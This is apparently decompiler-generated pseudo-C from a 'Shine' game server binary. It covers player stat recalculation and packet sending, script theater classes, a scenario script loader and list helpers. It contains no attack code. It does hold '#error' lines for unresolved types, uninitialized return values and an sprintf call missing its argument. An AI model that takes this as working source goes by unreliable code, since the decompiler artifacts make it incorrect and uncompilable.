int v32; // eax@13 int v33; // eax@13 int v34; // eax@13 int v35; // eax@13 int v36; // edx@13 int v37; // esi@13 int v38; // ecx@13 int v39; // esi@14 int v40; // eax@16 int v41; // edx@17 const char *v42; // [sp-8h] [bp-118h]@2 int v43; // [sp-4h] [bp-114h]@2 EngageArgument arg; // [sp+18h] [bp-F8h]@1 FunctionEntarance _; // [sp+34h] [bp-DCh]@1 Parameter::Cluster temptotal; // [sp+38h] [bp-D8h]@13 int v47; // [sp+10Ch] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_NotifyParameterChange"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_NotifyParameterChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_NotifyParameterChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v47 = 0; v4 = *((_DWORD *)v2 + 16458) - (*(int (__thiscall **)(void *))(v3 + 2180))(v2); v5 = *(_DWORD *)v2; *((_DWORD *)v2 + 16458) = v4; *((_DWORD *)v2 + 16459) -= (*(int (__thiscall **)(void *))(v5 + 2180))(v2); v6 = *((_DWORD *)v2 + 16461) - (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2180))(v2); v7 = *(_DWORD *)v2; *((_DWORD *)v2 + 16461) = v6; *((_DWORD *)v2 + 16460) -= (*(int (__thiscall **)(void *))(v7 + 2180))(v2); *((_DWORD *)v2 + 16462) -= (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2180))(v2); Parameter::Container::c_MakeTotal((Parameter::Container *)((char *)v2 + 4008)); EngageArgument::EngageArgument(&arg, (#331 *)v2, (#331 *)v2, 0, 0, 0); v8 = *(_DWORD *)v2; LOBYTE(v47) = 1; if ( !(*(int (__thiscall **)(void *))(v8 + 1052))(v2) ) { v43 = 0; v42 = "ShineObjectClass::ShinePlayer::so_mobile_NotifyParameterChange so_parameter() NULL return"; LABEL_6: AssertClass::ac_AssertFail(&shineassert, v42, v43); LABEL_7: LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); v47 = -1; goto LABEL_18; } if ( *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1052))(v2) + 3140) == -1 ) { v11 = (unsigned __int64)RulesOfEngagement::roe_MinWC(&roe_normalPY, &arg); *((_DWORD *)v2 + 1742) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1108))(v2) + 1) + v11; v12 = (unsigned __int64)RulesOfEngagement::roe_MaxWC(&roe_normalPY, &arg); v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1108))(v2); v14 = *(_DWORD *)v2; *((_DWORD *)v2 + 1743) = *(_WORD *)(v13 + 1) + v12; v15 = *(_WORD *)((*(int (__thiscall **)(void *))(v14 + 1112))(v2) + 1) - *((_DWORD *)v2 + 1061); v16 = (unsigned __int64)RulesOfEngagement::roe_MinMA(&roe_normalPY, &arg); HIDWORD(v16) = *(_DWORD *)v2; *((_DWORD *)v2 + 1747) = v16 + v15; v17 = *(_WORD *)((*(int (__thiscall **)(void *))(HIDWORD(v16) + 1112))(v2) + 1) - *((_DWORD *)v2 + 1062); *((_DWORD *)v2 + 1748) = (unsigned __int64)RulesOfEngagement::roe_MaxMA(&roe_normalPY, &arg) + v17; v18 = (unsigned __int64)RulesOfEngagement::roe_AC(&roe_normalPY, &arg); *((_DWORD *)v2 + 1744) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1120))(v2) + 1) + v18; v19 = (unsigned __int64)RulesOfEngagement::roe_MR(&roe_normalPY, &arg); *((_DWORD *)v2 + 1749) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1124))(v2) + 1) + v19; v20 = (unsigned __int64)RulesOfEngagement::roe_TH(&roe_normalPY, &arg); *((_DWORD *)v2 + 1745) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1116))(v2) + 1) + v20; v21 = (unsigned __int64)RulesOfEngagement::roe_TB(&roe_normalPY, &arg); *((_DWORD *)v2 + 1746) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1116))(v2) + 3) + v21; } else { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1052))(v2); v10 = MobDataBox::operator__(&mobdatabox, *(_WORD *)(v9 + 3140)); if ( !v10 ) { v43 = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1052))(v2) + 3140); v42 = "ShineObjectClass::ShinePlayer::so_mobile_NotifyParameterChange Not Find MobID :"; goto LABEL_6; } *((_DWORD *)v2 + 1744) = v10->serv->AC; *((_DWORD *)v2 + 1749) = v10->serv->MR; *((_DWORD *)v2 + 1746) = v10->serv->TB; if ( v10->weaponnumber ) { *((_DWORD *)v2 + 1742) = 0; *((_DWORD *)v2 + 1743) = 0; *((_DWORD *)v2 + 1747) = 0; *((_DWORD *)v2 + 1748) = 0; *((_DWORD *)v2 + 1745) = 0; } else { *((_DWORD *)v2 + 1742) = v10->weapon->weapon->MinWC; *((_DWORD *)v2 + 1743) = v10->weapon->weapon->MaxWC; *((_DWORD *)v2 + 1747) = v10->weapon->weapon->MinMA; *((_DWORD *)v2 + 1748) = v10->weapon->weapon->MaxMA; *((_DWORD *)v2 + 1745) = v10->weapon->weapon->TH; } } if ( !send ) goto LABEL_7; v22 = (PROTO_NC_CHAR_BASEPARAMCHANGE_CMD *)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = 4149; v22->changenum = 0; v23 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); v24 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1248))(v2); Parameter::Cluster::c_compareelement((Parameter::Cluster *)((char *)v2 + 6948), v23, *((_DWORD *)v2 + 16456), 16, v22); Parameter::Cluster::c_compareelement((Parameter::Cluster *)((char *)v2 + 6948), v24, *((_DWORD *)v2 + 16457), 17, v22); *((_DWORD *)v2 + 16456) = v23; v25 = *(_DWORD *)v2; *((_DWORD *)v2 + 16457) = v24; v26 = (*(int (__thiscall **)(void *))(v25 + 1108))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6948), *(_WORD *)(v26 + 1), 0xFFFFFFFFu, 18, v22); v27 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1120))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6948), *(_WORD *)(v27 + 1), 0xFFFFFFFFu, 19, v22); v28 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1112))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6948), *(_WORD *)(v28 + 1), 0xFFFFFFFFu, 20, v22); v29 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1124))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6948), *(_WORD *)(v29 + 1), 0xFFFFFFFFu, 21, v22); v30 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1116))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6948), *(_WORD *)(v30 + 1), 0xFFFFFFFFu, 22, v22); v31 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1116))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6948), *(_WORD *)(v31 + 3), 0xFFFFFFFFu, 23, v22); v32 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1124))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6948), *(_WORD *)(v32 + 3), 0xFFFFFFFFu, 24, v22); v33 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1120))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6948), *(_WORD *)(v33 + 3), 0xFFFFFFFFu, 25, v22); v34 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1120))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6948), *(_WORD *)(v34 + 5), 0xFFFFFFFFu, 26, v22); v35 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1124))(v2); Parameter::Cluster::c_compareelement( (Parameter::Cluster *)((char *)v2 + 6948), *(_WORD *)(v35 + 5), 0xFFFFFFFFu, 27, v22); v36 = *(_DWORD *)v2; memcpy(&temptotal, (char *)v2 + 6948, sizeof(temptotal)); v37 = *(_WORD *)((*(int (__thiscall **)(void *))(v36 + 1156))(v2) + 18); v38 = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1156))(v2) + 20); *((_DWORD *)v2 + 1742) = v37 * *((_DWORD *)v2 + 1742) / 1024; *((_DWORD *)v2 + 1743) = v37 * *((_DWORD *)v2 + 1743) / 1024; *((_DWORD *)v2 + 1747) = v37 * *((_DWORD *)v2 + 1747) / 1024; *((_DWORD *)v2 + 1748) = v37 * *((_DWORD *)v2 + 1748) / 1024; *((_DWORD *)v2 + 1744) = v38 * *((_DWORD *)v2 + 1744) / 1024; *((_DWORD *)v2 + 1749) = v38 * *((_DWORD *)v2 + 1749) / 1024; if ( Parameter::Cluster::c_compare( (Parameter::Cluster *)((char *)v2 + 6948), (Parameter::Cluster *)((char *)v2 + 65832), v22) > 0 ) { v39 = 5 * v22->changenum + 3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v39) ) { v40 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v40 + 12))(v40, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_NotifyParameterChange : Packet Too Long", v39); } } v41 = *(_DWORD *)v2; memcpy((char *)v2 + 6948, &temptotal, 0xC4u); (*(void (__thiscall **)(void *, char *))(v41 + 856))(v2, (char *)v2 + 65832); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); v47 = -1; LABEL_18: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_NotifyParameterChange"); } //----- (004C2580) -------------------------------------------------------- #error "4C2580: undefined or illegal type '#331' (funcsize=456)" //----- (004C2B70) -------------------------------------------------------- void __thiscall Movie::Theater::Theater(Movie::Theater *this) { Movie::Theater *v1; // esi@1 v1 = this; PineScriptStack::ProcessStack::ProcessStack(&this->t_Screen); ScriptInterrupt::ScriptInterruptManager::ScriptInterruptManager(&v1->t_InterruptManager); PineScriptToken::pst_Clear(&v1->t_ScriptName); *(_DWORD *)&v1->t_Screen.gap10114[4] = v1; v1->t_TimeLimit.tl_Theater = v1; } //----- (004C2BE0) -------------------------------------------------------- void __thiscall Movie::Theater::Theater(Movie::Theater *this, char *keyname) { Movie::Theater *v2; // esi@1 v2 = this; PineScriptStack::ProcessStack::ProcessStack(&this->t_Screen); ScriptInterrupt::ScriptInterruptManager::ScriptInterruptManager(&v2->t_InterruptManager); PineScriptToken::PineScriptToken(&v2->t_ScriptName, keyname); *(_DWORD *)&v2->t_Screen.gap10114[4] = v2; v2->t_TimeLimit.tl_Theater = v2; } //----- (004C2C50) -------------------------------------------------------- void __thiscall Movie::Theater::_Theater(Movie::Theater *this) { Movie::Theater *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->t_ScriptName); ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager(&v1->t_InterruptManager); PineScriptStack::ProcessStack::_ProcessStack(&v1->t_Screen); } //----- (004C2CB0) -------------------------------------------------------- #error "4C2CB0: undefined or illegal type '#592' (funcsize=2)" //----- (004C2CC0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5B78E4: using guessed type int (__stdcall *List_Movie__Theater____vftable_[3])(__int16 hnd); //----- (004C2CE0) -------------------------------------------------------- void __thiscall ScenarioBookShelf::ScenarioDescriptBook::_ScenarioDescriptBook(ScenarioBookShelf::ScenarioDescriptBook *this) { void *v1; // esi@1 v1 = this->sdb_Script; if ( this->sdb_Script ) { PineEventScript::_PineEventScript(this->sdb_Script); operator delete(v1); } } //----- (004C2D00) -------------------------------------------------------- char __thiscall ScenarioBookShelf::ScenarioDescriptBook::sdb_Load(ScenarioBookShelf::ScenarioDescriptBook *this, char *fname) { PineEventScript **v2; // edi@1 void *v3; // esi@1 void *v4; // eax@3 PineEventScript *v5; // eax@4 char result; // al@9 int errline; // [sp+Ch] [bp-5Ch]@6 FunctionEntarance _; // [sp+10h] [bp-58h]@1 void *v9; // [sp+14h] [bp-54h]@3 char fnamebuf[64]; // [sp+18h] [bp-50h]@1 unsigned int v11; // [sp+58h] [bp-10h]@9 int v12; // [sp+64h] [bp-4h]@1 v2 = (PineEventScript **)this; _.fe_FunctionCode = "ScenarioBookShelf::ScenarioDescriptBook::sdb_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScenarioBookShelf::ScenarioDescriptBook::sdb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::ScenarioDescriptBook::sdb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; sprintf(fnamebuf, "../9Data/Shine/ScenarioBookShelf/%s.ps"); v3 = *v2; if ( *v2 ) { PineEventScript::_PineEventScript(*v2); operator delete(v3); } v4 = operator new(0xCu); v9 = v4; LOBYTE(v12) = 1; if ( v4 ) PineEventScript::PineEventScript((PineEventScript *)v4); else v5 = 0; LOBYTE(v12) = 0; *v2 = v5; if ( PineEventScript::pes_Load(v5, fnamebuf, &errline) ) { --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScenarioBookShelf::ScenarioDescriptBook::sdb_Load"); } else { AssertClass::ac_AssertFail(&shineassert, fname, errline); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScenarioBookShelf::ScenarioDescriptBook::sdb_Load"); } __security_check_cookie(v11); return result; } //----- (004C2E40) -------------------------------------------------------- void __thiscall ScenarioBookShelf::ScenarioBookShelf(ScenarioBookShelf *this) { ScenarioBookShelf *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 4u, 100, (void (__thiscall *)(void *))AllOfRangeArgument::AllOfRangeArgument, (void (__thiscall *)(void *))ScenarioBookShelf::ScenarioDescriptBook::_ScenarioDescriptBook); BTree::BTree(&v1->sbs_Tree); v1->sbs_Num = 0; } //----- (004C2EA0) -------------------------------------------------------- void __thiscall ScenarioBookShelf::_ScenarioBookShelf(ScenarioBookShelf *this) { void *v1; // esi@1 v1 = this; BTree::_BTree(&this->sbs_Tree); _eh_vector_destructor_iterator_( v1, 4u, 100, (void (__thiscall *)(void *))ScenarioBookShelf::ScenarioDescriptBook::_ScenarioDescriptBook); } //----- (004C2F00) -------------------------------------------------------- char __thiscall ScenarioBookShelf::sbs_Read(ScenarioBookShelf *this, char *fname) { ScenarioBookShelf *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScenarioBookShelf::sbs_Read"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::sbs_Read"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->sbs_Num; if ( (unsigned int)v3 >= 0x64 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_Read : Too many MBD", v3); LABEL_3: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::sbs_Read"); return 0; } if ( !ScenarioBookShelf::ScenarioDescriptBook::sdb_Load((ScenarioBookShelf::ScenarioDescriptBook *)v2 + v3, fname) ) goto LABEL_3; BTree::bt_Insert(&v2->sbs_Tree, fname, v2->sbs_Num++); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::sbs_Read"); return 1; } //----- (004C3010) -------------------------------------------------------- PineEventScript *__thiscall ScenarioBookShelf::sbs_GetScript(ScenarioBookShelf *this, char *fname, int *scriptid) { ScenarioBookShelf *v3; // esi@1 int v4; // eax@1 PineEventScript *v5; // esi@3 PineEventScript *result; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScenarioBookShelf::operator []"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::operator []"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = BTree::operator__(&v3->sbs_Tree, fname); if ( v4 == -1 || v4 >= v3->sbs_Num ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::operator []"); result = 0; } else { *scriptid = v4; v5 = v3->sbs_Array[v4].sdb_Script; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::operator []"); result = v5; } return result; } //----- (004C3100) -------------------------------------------------------- void __thiscall ScenarioBookShelf::sbsReLoad(ScenarioBookShelf *this, const char *pkscriptname) { ScenarioBookShelf *v2; // esi@1 unsigned int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScenarioBookShelf::sbsReLoad"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::sbsReLoad"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = BTree::operator__(&v2->sbs_Tree, pkscriptname); if ( v3 == -1 ) { if ( !ScenarioBookShelf::sbs_Read(v2, (char *)pkscriptname) ) ++v2->sbs_Num; } else { ScenarioBookShelf::ScenarioDescriptBook::sdb_Load( (ScenarioBookShelf::ScenarioDescriptBook *)v2 + v3, (char *)pkscriptname); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::sbsReLoad"); } //----- (004C31C0) -------------------------------------------------------- void __thiscall Movie::CinemaComplex::_CinemaComplex(Movie::CinemaComplex *this) { Movie::CinemaComplex *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_(this->cc_Theater, 0x12DE8u, 8, (void (__thiscall *)(void *))Movie::Theater::_Theater); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5B78E4: using guessed type int (__stdcall *List_Movie__Theater____vftable_[3])(__int16 hnd); //----- (004C3230) -------------------------------------------------------- int __thiscall Movie::Theater::t_NameCompare(Movie::Theater *this, List *lst, unsigned __int16 hnd, Movie::Theater *key) { Movie::Theater *v4; // esi@1 unsigned __int16 v5; // ax@1 int v6; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::Theater::t_NameCompare"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::Theater::t_NameCompare"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = PineScriptToken::operator__(&v4->t_ScriptName, key->t_ScriptName.pst_Buffer); --funcallanalizer.fca_stackpoint; v6 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::Theater::t_NameCompare"); return v6; } //----- (004C32E0) -------------------------------------------------------- int __thiscall Movie::TimeLimit::tl_GetTimeLimit_Second(Movie::TimeLimit *this) { Movie::TimeLimit *v1; // esi@1 unsigned int v2; // kr00_4@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::TimeLimit::tl_GetTimeLimit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::TimeLimit::tl_GetTimeLimit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->tl_EndTick - clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::TimeLimit::tl_GetTimeLimit"); return v2 / 0xA; } //----- (004C3350) -------------------------------------------------------- void __thiscall Movie::TimeLimit::tl_SetTimeLimit(Movie::TimeLimit *this, char *timeunit, int arg) { Movie::TimeLimit *v3; // esi@1 int v4; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::TimeLimit::tl_SetTimeLimit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::TimeLimit::tl_SetTimeLimit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->tl_IsActiv = 1; switch ( *timeunit ) { case 72: case 104: v4 = 3600 * arg; break; case 77: case 109: v4 = 60 * arg; break; default: v4 = arg; break; } v3->tl_EndTick = clockwatch.cw_CurrTick + 10 * v4; v3->tl_RestMinuteSend = (unsigned int)&wholesaver.ws_savestore[1161].esc_abstate.buffer[11943]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::TimeLimit::tl_SetTimeLimit"); } //----- (004C3430) -------------------------------------------------------- #error "4C3430: undefined or illegal type '#331' (funcsize=77)" //----- (004C3560) -------------------------------------------------------- #error "4C3560: undefined or illegal type '#592' (funcsize=20)" //----- (004C35D0) -------------------------------------------------------- char __thiscall Movie::Theater::t_Routine(Movie::Theater *this, List *lst, unsigned __int16 handle) { PineScriptStack::ProcessStack *v3; // esi@1 v3 = (PineScriptStack::ProcessStack *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::Theater::t_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::Theater::t_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !PineScriptStack::ProcessStack::ps_Step(v3, handle) ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::Theater::t_Routine"); return 1; } //----- (004C3680) -------------------------------------------------------- int __thiscall Movie::Theater::t_PlayFilm(Movie::Theater *this, char *scriptname, PineScriptToken *initval) { Movie::Theater *v3; // esi@1 signed int v4; // edi@1 PineScriptToken *v5; // eax@1 PineScriptToken *v6; // eax@1 char *v7; // eax@1 PineEventScript *v8; // eax@1 PineEventScriptNode::Script *v9; // eax@2 void *v10; // eax@2 int result; // eax@6 PineScriptToken name; // [sp+14h] [bp-210h]@1 PineScriptToken initvariable; // [sp+114h] [bp-110h]@2 unsigned int v14; // [sp+214h] [bp-10h]@6 int v15; // [sp+220h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::Theater::t_PlayFilm"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::Theater::t_PlayFilm"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; PineScriptToken::PineScriptToken(&name, scriptname); LOBYTE(v15) = 1; v5 = PineScriptToken::pst_Clear(&v3->t_ScriptName); v6 = PineScriptToken::pst_Merge(v5, &name); MoveManager::MoveManager((DiceTaiSai *)v6); v8 = ScenarioBookShelf::sbs_GetScript(&scenarioshelf, v7, &v3->t_ScriptID); if ( v8 ) { MoveManager::MoveManager((DiceTaiSai *)v8); PineScriptStack::ProcessStack::ps_Ready(&v3->t_Screen, v9); v3->t_TimeLimit.tl_IsActiv = 0; PineScriptToken::PineScriptToken(&initvariable, "InitFlag"); LOBYTE(v15) = 2; v10 = PineScriptStack::ProcessStack::ps_PushVariable(&v3->t_Screen, &initvariable); if ( v10 ) { memcpy(v10, initval, 0x100u); v4 = -1; } LOBYTE(v15) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initvariable); LOBYTE(v15) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&name); --funcallanalizer.fca_stackpoint; v15 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::Theater::t_PlayFilm"); } else { LOBYTE(v15) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&name); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::Theater::t_PlayFilm"); } __security_check_cookie(v14); return result; } //----- (004C3830) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004C3880) -------------------------------------------------------- void __thiscall ScenarioBookShelf::sbs_ReadNAssert(ScenarioBookShelf *this, char *scriptname) { if ( !ScenarioBookShelf::sbs_Read(this, scriptname) ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_ReadNAssert : Script Load Error", scriptname); ShineExit("ScenarioBookShelf::sbs_ReadNAssert"); } } //----- (004C38C0) -------------------------------------------------------- Movie::CinemaComplex *__thiscall Movie::CinemaComplex::cc_SetArgument(Movie::CinemaComplex *this, #592 *a2, #331 *a3) { Movie::Theater *v3; // esi@1 signed int v4; // edi@1 Movie::CinemaComplex *v6; // [sp+10h] [bp-4h]@1 v6 = this; v3 = this->cc_Theater; v4 = 8; do { Movie::Theater::t_SetArgument(v3, a2, a3); ++v3; --v4; } while ( v4 ); return v6; } //----- (004C3900) -------------------------------------------------------- void __thiscall Movie::CinemaComplex::cc_ScriptInterrupt(Movie::CinemaComplex *this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg) { Movie::CinemaComplex *v3; // edi@1 unsigned __int16 v4; // si@1 unsigned __int16 v5; // bx@2 ListStruct *v6; // ecx@3 int v7; // eax@3 bool v8; // cf@3 int v9; // edx@4 char v10; // al@4 int v11; // ecx@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::CinemaComplex::cc_ScriptInterrupt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::CinemaComplex::cc_ScriptInterrupt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->baseclass_0.l_Array[v3->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v5 = v3->baseclass_0.l_MaxSize; if ( v4 >= v5 ) break; v6 = v3->baseclass_0.l_Array; v7 = v4; v8 = v4 < v5; v4 = v6[v4].ls_Next; if ( v8 && (v9 = 3 * v7, v10 = v6[v7].ls_IsActiv, v11 = (int)&v6[4 * v9 / 0xCu], v10) ) checkfunc((ScriptInterrupt::ScriptInterruptManager *)(*(_DWORD *)v11 + 66116), arg); else checkfunc((ScriptInterrupt::ScriptInterruptManager *)66116, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::CinemaComplex::cc_ScriptInterrupt"); } //----- (004C39F0) -------------------------------------------------------- Movie::Theater *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(Movie::Theater *, List *, unsigned __int16, Movie::Theater *), unsigned __int16 *hnd, Movie::Theater *key) { Movie::Theater *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(Movie::Theater *, List *, unsigned __int16, Movie::Theater *); // [sp+8h] [bp-1Ch]@1 Movie::Theater *v8; // [sp+Ch] [bp-18h]@1 Movie::Theater *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 5A6570: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (004C3A60) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 